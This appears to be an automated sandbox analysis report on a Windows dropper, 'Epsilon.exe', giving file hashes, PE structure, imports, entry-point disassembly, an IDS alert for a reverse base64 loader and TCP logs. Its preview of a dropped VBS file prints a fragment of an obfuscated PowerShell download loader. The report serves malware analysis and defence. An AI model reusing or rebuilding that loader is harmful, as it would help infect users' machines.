SHA1:	79E774D342BD0A4261CE1F7FC6EC2734687629AC
SHA-256:	C495093C40C899E10AD5F5BD9298B53C090B4A5EDC2D66742BB91A9DD17F35DC
SHA-512:	40C9E42AE02C452BCAE13DF5BADEA1BE686109BADEDB2E533AC78E813EE39B153E0290901D70E35D840FA960777A81753B40D36E843A66E81D3EB6DB066BF75B
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\IXP000.TMP\677174b841ee7.vbs

Download File

Process:	C:\Users\user\Desktop\Epsilon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16223
Entropy (8bit):	5.43957642350105
Encrypted:	false
SSDEEP:	384:HvoXNp+ORKJjaaJbx3pvtJqv10MFpW9pUf2:HQXNphK5aaR7tJYw
MD5:	2526E6344FEFB98B06722075A48EB1D2
SHA1:	8FED44B0D696CEF3771EDD5B1B6FB836EA56136A
SHA-256:	4EB0F0207BB99F33B78DA74498525E249B689661EA457DC8BF6AC262FF2FCA43
SHA-512:	AA5C4D0453829ECFF09AA8864AC7EA78D8588B7D5B47D14F09022338DB5E6C46772BFADAF4BF55441F73AE31C563CA692268FFC594E12887F2F7CF8B461A8653
Malicious:	true
Reputation:	low
Preview:	'g..FdemrkiadmF = rRegisggfgdsadfkjhgjg211 & ""..kimAIjFcf = TimeSerial(9,8,9)..Call Ugsfisging("$do" & "sigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$")..Call Ugsfisging("ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQ")..IIpddIpA = TimeSerial(7,8,8)..Public Const fhASbpe = "Sdjkmgho"..kjpeImAde = "hffhfg" & LenB("fSgdafdnS") & "hfg"..'dncrigd aIobbokkd..ermnmbgdI = TimeSerial(7,8,7)..Public Const rbiiAAf = "FnmImIbi"..'rgAAkeIp mkmdbek..Call Ugsfisging("B0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b")..Call Ugsfisging("$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$")..kjkdnca = TimeSerial(9,9,8)..Public Const Fbpbdokb = "ioAjImn"..diefdfr = "hffhfg" & LenB("fSoccaj") & "hfg"..'mmkarim hojeAIgfe..kjecpgSg = TimeSerial(7,7,9)..Public Const AIdmpmkkk = "pncmibckk"..'AfarcrI fcIcrhi..Call Ugsfisging("YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5yyy4x55.0bl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqr5bg25.2ly.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jisjgixp.mfl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mf30trsg.340.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ms0k5ziq.vru.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xddash11.i2w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.8540668895535575
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Epsilon.exe
File size:	163'840 bytes
MD5:	61566aa90d2dcaf483fe4697031f46c4
SHA1:	b072393ac533c868683a93aa98e350144a772c34
SHA256:	51826c6098770542d808375156b42c288ba675863a73eca9084c402a11771b2d
SHA512:	721dc75de9c5027a9f4e864814b2955ea5df8f2222eeea6f2dd4a2e430510eb2d2eec0aa34593f8ecce5e8831f1f1c110f9819a5e0b8424b7e171cf07e36f4d2
SSDEEP:	3072:mahKyd2n31r5GWp1icKAArDZz4N9GhbkrNEk1q6T:mahOzp0yN90QE6
TLSH:	D9F38D5AA7E420A6E4BA577498F202935A32BCB15B7583FF12C4D57E0E336C0A532F17
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D..e...6...6...6...7...6...7...6...7...6...7...6...6...6...7...6..o6...6...7...6Rich...6................PE..d................."

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x140008200
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F7D74D72AA0h
dec eax
add esp, 28h
jmp 00007F7D74D7234Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [000011CDh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [00004922h], ebx
je 00007F7D74D7234Ch
dec eax
cmp eax, ebx
jne 00007F7D74D7235Ch
mov edi, 00000001h
mov eax, dword ptr [00004918h]
cmp eax, 01h
jne 00007F7D74D72359h
lea ecx, dword ptr [eax+1Eh]
call 00007F7D74D72933h
jmp 00007F7D74D723BCh
mov ecx, 000003E8h
call dword ptr [0000117Eh]
jmp 00007F7D74D72309h
mov eax, dword ptr [000048F6h]
test eax, eax
jne 00007F7D74D7239Bh
mov dword ptr [000048E8h], 00000001h
dec esp
lea esi, dword ptr [000013E9h]
dec eax
lea ebx, dword ptr [000013CAh]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F7D74D72367h
test eax, eax
jne 00007F7D74D72367h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F7D74D72352h
dec eax
mov eax, dword ptr [ebx]
dec eax
mov ecx, dword ptr [00001388h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa23c	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x1cf44	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x408	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2c000	0x20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a10	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9128	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7b80	0x7c00	60800deac1fde21b98089f2241ee6168	False	0.5499936995967742	data	6.096261782871538	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x22c8	0x2400	59d15cdf89780817c3d48dd588a6a129	False	0.4136284722222222	data	4.727841929207054	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1f00	0x400	9d1580dccaf8e787a43caf4bba48a079	False	0.3212890625	data	3.1889769845125677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x408	0x600	15cd12257317071f28e4f7b728f8825e	False	0.3932291666666667	data	3.1563665040475675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x1d000	0x1d000	6075aa1bf5851aa836a53a18873ed1ee	False	0.7409415409482759	data	7.051099807534683	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2c000	0x20	0x200	637787151ee546a94902de9694a58fd6	False	0.083984375	data	0.4068473715812382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x12814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1334c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1431c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14bc4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1528c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x157f4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x231c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25770	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x26818	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x271a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x27608	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x278fc	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x27aac	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x27c14	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x27dd4	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x27f04	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x28024	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x280b0	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x285d0	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x28b9c	0x4b0	data	English	United States	0.385
RT_STRING	0x2904c	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x29498	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x29868	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x29870	0x19a8	Microsoft Cabinet archive data, Windows 2000/XP setup, 6568 bytes, 1 file, at 0x2c +A "677174b841ee7.vbs", ID 1209, number 1, 1 datablock, 0x1503 compression	English	United States	1.0016747868453106
RT_RCDATA	0x2b218	0x4	data	English	United States	3.0
RT_RCDATA	0x2b21c	0x24	GLS_BINARY_LSB_FIRST	English	United States	0.6388888888888888
RT_RCDATA	0x2b240	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b248	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b250	0x4	data	English	United States	3.0
RT_RCDATA	0x2b254	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b25c	0x4	data	English	United States	3.0
RT_RCDATA	0x2b260	0x1d	ASCII text, with no line terminators	English	United States	1.2758620689655173
RT_RCDATA	0x2b280	0x4	data	English	United States	3.0
RT_RCDATA	0x2b284	0x4	data	English	United States	3.0
RT_RCDATA	0x2b288	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x2b290	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_GROUP_ICON	0x2b298	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x2b354	0x408	data	English	United States	0.42151162790697677
RT_MANIFEST	0x2b75c	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T00:46:01.370508+0100	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	185.199.111.133	443	192.168.2.5	49704	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 00:45:57.335768938 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.335805893 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.335876942 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.342901945 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.342915058 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.810635090 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.810830116 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.814526081 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.814533949 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.814750910 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.827333927 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.875329018 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.966454029 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.966516972 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.966576099 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.966583014 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.971211910 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.971237898 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.971255064 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.971261024 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.971299887 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.971306086 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.975929022 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.975953102 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.975975990 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.975986004 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.975991011 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.976015091 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.980663061 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:57.980710030 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:57.980715990 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.035563946 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.054965973 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055059910 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055088043 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055114031 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055196047 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.055196047 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.055202961 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055609941 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055655956 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.055660963 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055700064 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055740118 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055743933 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.055748940 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.055783033 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.056327105 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.056381941 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.056430101 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.056433916 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.057166100 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.057193995 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.057213068 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.057218075 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.057246923 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.057254076 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.057257891 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.057303905 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.057987928 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.098057985 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.098064899 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.104907036 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.104967117 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.104971886 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.143693924 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.143743992 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.143752098 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145211935 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145220995 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145250082 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145263910 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145272970 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145277023 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.145291090 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145298004 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.145318985 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.145343065 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.146938086 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.146949053 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.146965981 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.146992922 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.146998882 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.147023916 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.148751974 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.148780107 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.148809910 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.148814917 CET	443	49704	185.199.111.133	192.168.2.5
Dec 31, 2024 00:45:58.148844957 CET	49704	443	192.168.2.5	185.199.111.133
Dec 31, 2024 00:45:58.191699028 CET	49704	443	192.168.2.5	185.199.111.133
